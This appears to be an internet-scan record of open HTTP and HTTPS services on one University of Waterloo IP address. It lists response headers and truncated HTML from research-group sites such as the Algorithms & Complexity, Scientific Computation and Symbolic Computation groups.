j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-M9XLVF');</script>
<!-- End Google Tag Manager -->
<link href="https://uwaterloo.ca/computer-science/sites/default/files/css/css_oGOnTlq3Rxk1pGXOw13sY9ZZIj8N35rZfDWUg_RHWmo.css" media="all" rel="stylesheet"/>
<link href="https://uwaterloo.ca/computer-science/sites/default/files/css/css_-4HXTjog3FwpNqNyMV3b7OCouTI2V4f6QKA0fcKuUp8.css" media="all" rel="stylesheet"/>
<link href="//odyssey.uwaterloo.ca/static/wcms/main.css" media="all" rel="stylesheet" type="text/css"/></head>
<body class="node-page node-page--node-type-uw-ct-web-page not-front not-layout-page org-school path-node">
<!-- Google Tag Manager (noscript) -->
<noscript>
<iframe aria-label="Google Tag Manager" height="0" src="https://www.googletagmanager.com/ns.html?id=GTM-M9XLVF" style="display:none;visibility:
Open service 129.97.167.168:443 · userver.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 500 Internal Server Error date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate content-length: 618 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Page title: 500 Internal Server Error <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p> <p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p> <p>More information about this error may be available in the server error log.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at userver.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · compstats.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
content-location: index.shtml
vary: negotiate,Accept-Encoding
tcn: choice
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
content-length: 36555
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: Home | Computational Statistics Group | University of WaterlooInstagramX (formerly Twitter)LinkedInFacebookYouTubeCampus mapInstagramX (formerly Twitter)LinkedInFacebookYouTubeOn It Check
<!DOCTYPE html>
<html class="no-js" dir="ltr" lang="en" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# ">
<head>
<meta charset="utf-8"/>
<meta content="en_CA" property="og:locale"/>
<meta content="summary_large_image" name="twitter:card"/>
<meta content="Drupal 9 (https://www.drupal.org)" name="Generator"/>
<meta content="width" name="MobileOptimized"/>
<meta content="true" name="HandheldFriendly"/>
<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
<script async="" src="https://www.googletagmanager.com/gtag/js?id=G-F2W1T1XRR6"></script>
<script>window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-F2W1T1XRR6', {
'cookie_domain': 'uwaterloo.ca',
'cookie_path': '/computer-science/',
'cookie_expires': 2592000
});</script>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/favicon.ico" rel="icon"/>
<link href="https://uwaterloo.ca/computer-science/about/quick-facts" hreflang="en" rel="alternate"/>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/icon.svg" rel="icon" type="image/svg+xml"/>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/apple-touch-icon.png" rel="apple-touch-icon"/>
<link href="data:application/manifest+json,%7B%22icons%22%3A%5B%7B%22src%22%3A%22https%3A%5C%2F%5C%2Fuwaterloo.ca%5C%2Fcomputer-science%5C%2Fprofiles%5C%2Fuw_base_profile%5C%2Fthemes%5C%2Fuw_fdsu_theme_resp%5C%2Ficon-192.png%22%2C%22type%22%3A%22image%5C%2Fpng%22%2C%22sizes%22%3A%22192x192%22%7D%2C%7B%22src%22%3A%22https%3A%5C%2F%5C%2Fuwaterloo.ca%5C%2Fcomputer-science%5C%2Fprofiles%5C%2Fuw_base_profile%5C%2Fthemes%5C%2Fuw_fdsu_theme_resp%5C%2Ficon-512.png%22%2C%22type%22%3A%22image%5C%2Fpng%22%2C%22sizes%22%3A%22512x512%22%7D%5D%7D" rel="manifest"/>
<title>Home | Computational Statistics Group | University of Waterloo</title>
<link crossorigin="" href="https://fonts.gstatic.com" rel="preconnect"/>
<link as="style" href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" rel="preload"/>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" media="print" onload="this.media='all'" rel="stylesheet"/>
<noscript>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" rel="stylesheet"/>
</noscript>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-M9XLVF');</script>
<!-- End Google Tag Manager -->
<link href="https://uwaterloo.ca/computer-science/sites/default/files/css/css_oGOnTlq3Rxk1pGXOw13sY9ZZIj8N35rZfDWUg_RHWmo.css" media="all" rel="stylesheet"/>
<link href="https://uwaterloo.ca/computer-science/sites/default/files/css/css_-4HXTjog3FwpNqNyMV3b7OCouTI2V4f6QKA0fcKuUp8.css" media="all" rel="stylesheet"/>
<link href="//odyssey.uwaterloo.ca/static/wcms/main.css" media="all" rel="stylesheet" type="text/css"/></head>
<body class="node-page node-page--node-type-uw-ct-web-page not-front not-layout-page org-school path-node">
<!-- Google Tag Manager (noscript) -->
<noscript>
<iframe aria-label="Google Tag Manager" height="0" src="https://www.googletagmanager.com/ns.html?id=GTM-M9XLVF" style="display:none;visibility:hidde
Open service 129.97.167.168:80 · compstats.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://compstats.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · inventory.math.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://inventory.math.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · epad.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://epad.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · icr.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://icr.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · nextcloud-test.cscf.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://nextcloud-test.cscf.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · booked.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate refresh: 0;url=Web? content-length: 0 content-type: text/html; charset=UTF-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close
Open service 129.97.167.168:443 · wwwtest5.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) content-location: index.shtml vary: negotiate tcn: choice cache-control: private, max-age=0, must-revalidate accept-ranges: bytes content-length: 0 content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close
Open service 129.97.167.168:80 · icse2019.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://icse2019.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · icr.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/institute-computer-research/ content-length: 340 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/institute-computer-research/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at icr.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · rboutaba.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Fri, 16 Jan 2026 13:54:45 GMT
etag: "a3c7-64881af1812ec"
accept-ranges: bytes
content-length: 41927
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: Raouf Boutaba @ University of Waterloo
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Raouf Boutaba @ University of Waterloo</title>
<style type="text/css">
body {
background-color: #c0c0c0;
}
</style>
<link href="css/layout.css" rel="stylesheet" type="text/css" />
<link href="dynamicmnue.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
var menuids = ["suckertree1"]; //Enter id(s) of SuckerTree UL menus, separated by commas
function buildsubmenus() {
for (var i = 0; i < menuids.length; i++) {
var ultags = document
.getElementById(menuids[i])
.getElementsByTagName("ul");
for (var t = 0; t < ultags.length; t++) {
ultags[t].parentNode.getElementsByTagName("a")[0].className =
"subfolderstyle";
if (ultags[t].parentNode.parentNode.id == menuids[i])
//if this is a first level submenu
ultags[t].style.left =
ultags[t].parentNode.offsetWidth +
"px"; //dynamically position first level submenus to be width of main menu item
//else if this is a sub level submenu (ul)
else
ultags[t].style.left =
ultags[t - 1].getElementsByTagName("a")[0].offsetWidth + "px"; //position menu to the right of menu item that activated it
ultags[t].parentNode.onmouseover = function () {
this.getElementsByTagName("ul")[0].style.display = "block";
};
ultags[t].parentNode.onmouseout = function () {
this.getElementsByTagName("ul")[0].style.display = "none";
};
}
for (var t = ultags.length - 1; t > -1; t--) {
//loop through all sub menus again, and use "display:none" to hide menus (to prevent possible page scrollbars
ultags[t].style.visibility = "visible";
ultags[t].style.display = "none";
}
}
}
if (window.addEventListener)
window.addEventListener("load", buildsubmenus, false);
else if (window.attachEvent) window.attachEvent("onload", buildsubmenus);
</script>
</head>
<body>
<div id="wrapper">
<!--------------------------------------------------------------------------------------------------------------------------------->
<div id="header">
<div id="uw" align="right">
<a href="http://www.uwaterloo.ca" target="_blank">
<img src="images/uw_wordmark.gif" width="120" height="40" alt="University of Waterloo" style="border: 0" />
</a>
</div>
</div>
<!--header div -->
<!--------------------------------------------------------------------------------------------------------------------------------->
<div id="left">
<div id="picRaouf">
<img src="images/raoufnew.jpg" width="150" height="210" alt="Raouf" />
</div>
<p align="left"> </p>
<div id="leftMnue">
<div class="suckerdiv">
<ul id="suckertree1">
<li>
<a href="index.html" style="background-color: #6d6d6d">
<font color="#FFF">Home</font>
</a>
</li>
<li><a href="bio.html">Biography</a></li>
<li>
<a href="publicationType.html">Publications</a>
<ul>
<li><a href="publicationYear.html">Chronologically</a></li>
<li><a href="publicationArea.html">By Area</a></li>
<li><a href="publicationType.html">By Type</a></li>
</ul>
</li>
<li><a href="talk.html">Talks</a></li>
<li><a href="activity.html">Professional Activities</a></li>
<li><a href="teaching.html">Teaching</a></li>
<li><a href="projects.html">Projects</a></li>
<li><a href="team.html">Research Team</a></li>
<li><a href="download.html">Downloads</a></li>
Open service 129.97.167.168:80 · chil.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://chil.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · algcomp.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:40 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Tue, 23 Dec 2025 16:53:31 GMT
etag: "3b2f-646a1623851ff"
accept-ranges: bytes
content-length: 15151
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="generator" content="Hugo 0.133.1">
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<title></title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="This is the website of the Algorithms & Complexity group at the University of Waterloo." />
<meta property="og:title" content="Waterloo Algorithms & Complexity" />
<meta property="og:type" content="website" />
<meta property="og:url" content="https://algcomp.uwaterloo.ca/" />
<meta property="og:image" content="https://algcomp.uwaterloo.ca/images/Davis_Centre_2_.jpg" />
<meta property="og:description" content="This is the website of the Algorithms & Complexity group at the University of Waterloo." />
<meta name="twitter:creator" content="@zerostaticio" />
<link rel="icon" href="/UW-logo-1.png">
<link rel="stylesheet" href="/css/style.min.bac101a6df8b89ab8abf19a89ab5d509677651a5e448d3e3ff6118e25a264895.css">
</head>
<body class='page page-home'>
<div id="main-menu-mobile" class="main-menu-mobile">
<ul>
<li class="menu-item-home">
<a href="/">
<span>Home</span>
</a>
</li>
<li class="menu-item-faculty">
<a href="/faculty/">
<span>Faculty</span>
</a>
</li>
<li class="menu-item-students">
<a href="/students/">
<span>Students</span>
</a>
</li>
<li class="menu-item-postdocs">
<a href="/postdocs/">
<span>Postdocs</span>
</a>
</li>
<li class="menu-item-courses">
<a href="/courses/">
<span>Courses</span>
</a>
</li>
<li class="menu-item-events">
<a href="/events/">
<span>Events</span>
</a>
</li>
<li class="menu-item-alumni">
<a href="/alumni/">
<span>Alumni</span>
</a>
</li>
<li class="menu-item-positions">
<a href="/positions/">
<span>Positions</span>
</a>
</li>
</ul>
</div>
<div class="wrapper">
<div class='header'>
<div class="container">
<div class="logo">
<a href="https://algcomp.uwaterloo.ca/"><img alt="Algorithms & Complexity" src="/images/logo.svg" /></a>
</div>
<div class="logo-mobile">
<a href="https://algcomp.uwaterloo.ca/"><img alt="Algorithms & Complexity" src="/images/logo-mobile.svg" /></a>
</div>
<div id="main-menu" class="main-menu">
<ul>
<li class="menu-item-home">
<a href="/">
<span>Home</span>
</a>
</li>
<li class="menu-item-faculty">
<a href="/faculty/">
<span>Faculty</span>
</a>
</li>
<li class="menu-item-students">
<a href="/students/">
<span>Students</span>
</a>
</li>
<li class="menu-item-postdocs">
<a href="/postdocs/">
<span>Postdocs</span>
</a>
</li>
<li class="menu-item-courses">
<a href="/courses/">
<span>Courses</span>
</a>
</li>
<li class="menu-item-events">
<a href="/events/">
<span>Events</span>
</a>
</li>
<li class="menu-item-alumni">
<a href="/alumni/">
<span>Alumni</span>
</a>
</li>
<li class="menu-item-positions">
<a href="/positions/">
<span>Positions</span>
</a>
</li>
</ul>
</div>
<button id="toggle-main-menu-mobile" class="hamburger hamburger--slider" type="button" aria-label="Mobile Menu">
<span class="hamburger-box">
<span class="hamburger-inner"></span>
</span>
</button>
</div>
</div>
<div class="intro">
<div class="container">
<img
class="intro-image intro-image-hide-mobile"
src="/images/group-24-09.jpg" />
<br/>
</div>
</div>
<div class="container pb-md-6">
<div class="row">
<div class="col-12 col-
Open service 129.97.167.168:80 · andromeda-proxy.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://andromeda-proxy.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · wwwtest5.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://wwwtest5.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · epad.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Sat, 05 Mar 2011 01:09:51 GMT
etag: "243b-49db1eb67f719"
accept-ranges: bytes
content-length: 9275
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: ePad :: Home
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr"><!-- InstanceBegin template="/Templates/main.dwt" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="keywords" content="Assistance, Dementia, Alzheimers, Art Therapy, MDP, Markov Decision Process, POMDP, computer vision"/>
<meta name="description" content="ePAD project"/>
<meta name="author" content ="Jesse Hoey"/>
<link rel="stylesheet" type="text/css" href="style.css" media="screen" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>ePad :: Home</title>
<!-- InstanceEndEditable -->
<!-- InstanceBeginEditable name="head" -->
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-19057155-5']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
<!-- InstanceEndEditable -->
<!-- InstanceParam name="IfSubnav" type="boolean" value="true" -->
<!-- InstanceParam name="IfSplash" type="boolean" value="true" -->
<!-- InstanceParam name="IfArticles" type="boolean" value="false" -->
</head>
<body>
<div id="site-wrapper">
<div id="header">
<div id="top">
<div class="left" id="logo"> <a href="index.html"><img src="img/epadLogo.png" alt="" width="100" height="100" /></a> </div>
<div class="left navigation" id="main-nav">
<ul class="tabbed">
<!-- InstanceBeginEditable name="MainNav" -->
<li class="current-tab"><a href="index.html">Project</a></li>
<li><a href="people.html">People</a></li>
<li><a href="publications.html">Publications</a></li>
<!-- InstanceEndEditable -->
</ul>
<div class="clearer"> </div>
</div>
<div class="clearer"> </div>
</div>
<div class="navigation" id="sub-nav">
<ul class="tabbed">
<!-- InstanceBeginEditable name="SubNav" -->
<li class="current-tab"><a href="index.html">Introduction</a></li>
<li><a href="arttherapy.html">Creative Arts</a></li>
<li><a href="technology.html">ePad Technology</a></li>
<li><a href="media.html">Screenshots and Videos</a></li>
<!-- InstanceEndEditable -->
</ul>
<div class="clearer"> </div>
</div>
</div>
<div id="splash">
<div class="col3 left"> <!-- InstanceBeginEditable name="Splash1" -->
<h2 class="label label-green"><a href="arttherapy.html">Art and Dementia</a></h2>
<p>While scientists are racing to find a cure, according to the <a href="http://www.alzheimer.ca/" target="_blank" class="more">Alzheimer Society of Canada</a>, about half a million Canadians were living with dementia in 2009. The arts provides a non-pharmaceutical approach that helps alleviate anxiety and confusion and provide some respite for people with dementia and their caregivers. Being engaged in the arts is a positive way of maintaining or improving one's quality of life, especially those who live with dementia.</p>
<p><a href="arttherapy.html" class="more">Learn more »</a></p>
<!-- InstanceEndEditable --> </div>
<div class="col3-mid left"> <!-- InstanceBeginEditable name="Splash2" -->
<h2 class="label label-orange"><a href="technology.html">ePad Technology</a></h2>
<p>ePad is a computerized touch-screen tool for art therapists. The tool allows therapists to design individualized computer applications for particular clients. The resulting applications look like painting programs, but are usually simpler, can follow the therapeutic goals of the therapist designer, and can be adapted to particular user's needs, taking into account visual, auditory and motor capabilitie
Open service 129.97.167.168:80 · algcomp.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://algcomp.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · userver.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://userver.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · neurocog.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://neurocog.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · upscope.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate last-modified: Tue, 02 Nov 2021 15:55:45 GMT etag: "54-5cfd05390d8a2" accept-ranges: bytes content-length: 84 vary: Accept-Encoding content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: UPSCOPE <html><head><title>UPSCOPE</title></head><body><p>More to come...</p></body></html>
Open service 129.97.167.168:80 · exii.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://exii.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · icse2019.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) location: https://conf.researchr.org/home/icse-2019/ content-length: 341 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://conf.researchr.org/home/icse-2019/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at icse2019.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · www.student.cs.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://www.student.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · wasl.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://wasl.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · scicom.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK date: Thu, 22 Jan 2026 18:42:39 GMT server: Apache/2.4.58 (Ubuntu) content-location: index.shtml vary: negotiate,Accept-Encoding tcn: choice cache-control: private, max-age=0, must-revalidate accept-ranges: bytes transfer-encoding: chunked content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close Page title: University of Waterloo Scientific Computation Group - Home <!DOCTYPE html> <html> <head> <title>University of Waterloo Scientific Computation Group - Home</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link href="theme/screen.css" media="screen" rel="stylesheet" type="text/css" /> <link href="theme/print.css" media="print" rel="stylesheet" type="text/css" /> <link href="theme/all.css" media="all" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js"></script> <script type="text/javascript" src="js/slides.min.jquery.js"></script> <script type="text/javascript" src="js/scicom.js"></script> </head> <body> <div id="shell"> <div id="header"> <h1><a href="index.shtml"><span>Scientific Computation Group</span></a></h1> <ul id="navigation"> <li><a href="index.shtml"><span>Home</span></a></li> <li><a href="research.shtml"><span>Research</span></a></li> <li><a href="people.shtml"><span>People</span></a></li> <li><a href="industrial.shtml"><span>Industry Links</span></a></li> <li><a href="contact.shtml"><span>Contact</span></a></li> </ul> </div> <div id="slides"> <div class="slides_container"> <a href="https://commons.wikimedia.org/wiki/File:Vortex-street-animation.gif"><img src="pictures/slides/Vortex-street-animation.gif" alt="" /></a> <a href="http://www.cs.columbia.edu/cg/doublebubbles/"><img src="pictures/slides/Bubbles.gif" alt="" /></a> <a href="https://commons.wikimedia.org/wiki/File:Wiener_process_set_of_zeros.gif"><img src="pictures/slides/wiener.gif" alt="" /></a> <a href="https://commons.wikimedia.org/wiki/File:Karman_Vortex_street_ani.gif"><img src="pictures/slides/karman.gif" alt="" /></a> <a href=""><img src="pictures/slides/rasterloop.gif"></a> <!--<a href="#"><img src="pictures/slides/collage.jpg" alt="" /></a>--> </div> </div> <div id="content"> <h2>SciCom at Waterloo</h2> <p> The Scientific Computation Group (or "SciCom") is a research group within the <a href="http://www.cs.uwaterloo.ca/">David R. Cheriton School of Computer Science</a> in the <a href="http://www.math.uwaterloo.ca/">Faculty of Mathematics</a> at the <a href="http://www.uwaterloo.ca/">University of Waterloo</a> focused on <a href="http://en.wikipedia.org/wiki/Computational_science">scientific computing</a>. We also have affiliations with the <a href="https://math.uwaterloo.ca/applied-mathematics/home">Department of Applied Mathematics</a>. Several of us are cross-appointed to Applied Math, and we accept graduate students in <a href="https://cs.uwaterloo.ca/future-graduate-students">computer science</a>, <a href="https://uwaterloo.ca/computational-mathematics/graduate-students/masters-program">computational mathematics</a>, and <a href="https://uwaterloo.ca/applied-mathematics/graduate-students">applied math</a>. </p> <p> Our core goals are (1) to make research contributions to computing for engineering, scientific, medical, entertainment, and financial applications, including the development of techniques and algorithms; (2) to incorporate this research into effective software; and (3) to train highly skilled graduate students in the fundamental tools of scientific computing. </p> <h3>Research Interests</h3> <p> Members of our group are interested in a diverse range of techniques and applications of computational science. Some focus areas include: </p> <ul> <li>Computational Fluid Dynamics</li> <li>Computational Finance</li> <li>Computational Methods for Optimization</li> <li>Computational Neuroscience</li> <li>Data Mining and Network Analysis</li> <li>Light Transport and Rendering</li> <li>Medical Image Processing</li> <li>Numerical Linear Algebra</li> <li>Numerical Solutions of Partial Differential Equations</li> <li>Physics-Based Animation for Computer Graphics</li> <!--<li>Computational Support for PDE-Based Modeling</li> <li>Numerical Linear Algebra and Optimization</li> <li>Neuroscience</li> <li>Image Processing</li> <li>Scientific Visualization</li>-->
Open service 129.97.167.168:443 · www.scg.uwaterloo.ca
2026-01-22 18:42
HTTP/1.1 200 OK
date: Thu, 22 Jan 2026 18:42:39 GMT
server: Apache/2.4.58 (Ubuntu)
content-location: index.shtml
vary: negotiate,Accept-Encoding
tcn: choice
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
transfer-encoding: chunked
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: SCG Home Page
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SCG Home Page</title>
<link rel="stylesheet" type="text/css" href="https://www.scg.uwaterloo.ca/style.css" />
</head>
<body>
<table class="main" width="100%">
<tr>
<td class="photo-box" valign="bottom">
<embed src="https://www.scg.uwaterloo.ca/jlm_talks/scg.svg" type="image/svg+xml" height="100"/>
<!-- a style="font-size:46pt;text-decoration: none;" href="http://www.scg.uwaterloo.ca/">SCG</a -->
</td>
<td valign="top" class="header-box">
<h1>Symbolic Computation Group</h1>
<h3><a href="http://cs.uwaterloo.ca">
David R. Cheriton School of Computer Science</a><br/>
<a href="http://www.uwaterloo.ca">University of Waterloo</a>, Waterloo, Ontario, Canada<br/></h3>
</td>
</tr>
<tr>
<td class="nav-box" width="20%">
<div class="nav-bar">
<ul class="nav-list">
<li><a href="/index.shtml">Home Page</a></li>
<li><a href="/people.shtml">People</a></li>
<li><a href="/papers.shtml">Papers</a></li>
<li><a href="/jlmtalks.shtml">JLM Talks</a></li>
<li><a href="/mathbrush.shtml">MathBrush</a></li>
<li><a href="/conferences.shtml">Conferences</a></li>
<li><a href="/history.shtml">History</a></li>
<li><a href="/relatedlabs.shtml">Related Labs</a></li>
<li><a href="/othersites.shtml">Other Sites</a></li>
<li><a href="/contact.shtml">Contact</a></li>
</ul>
</div>
</td>
<td class="main-box" width="80%">
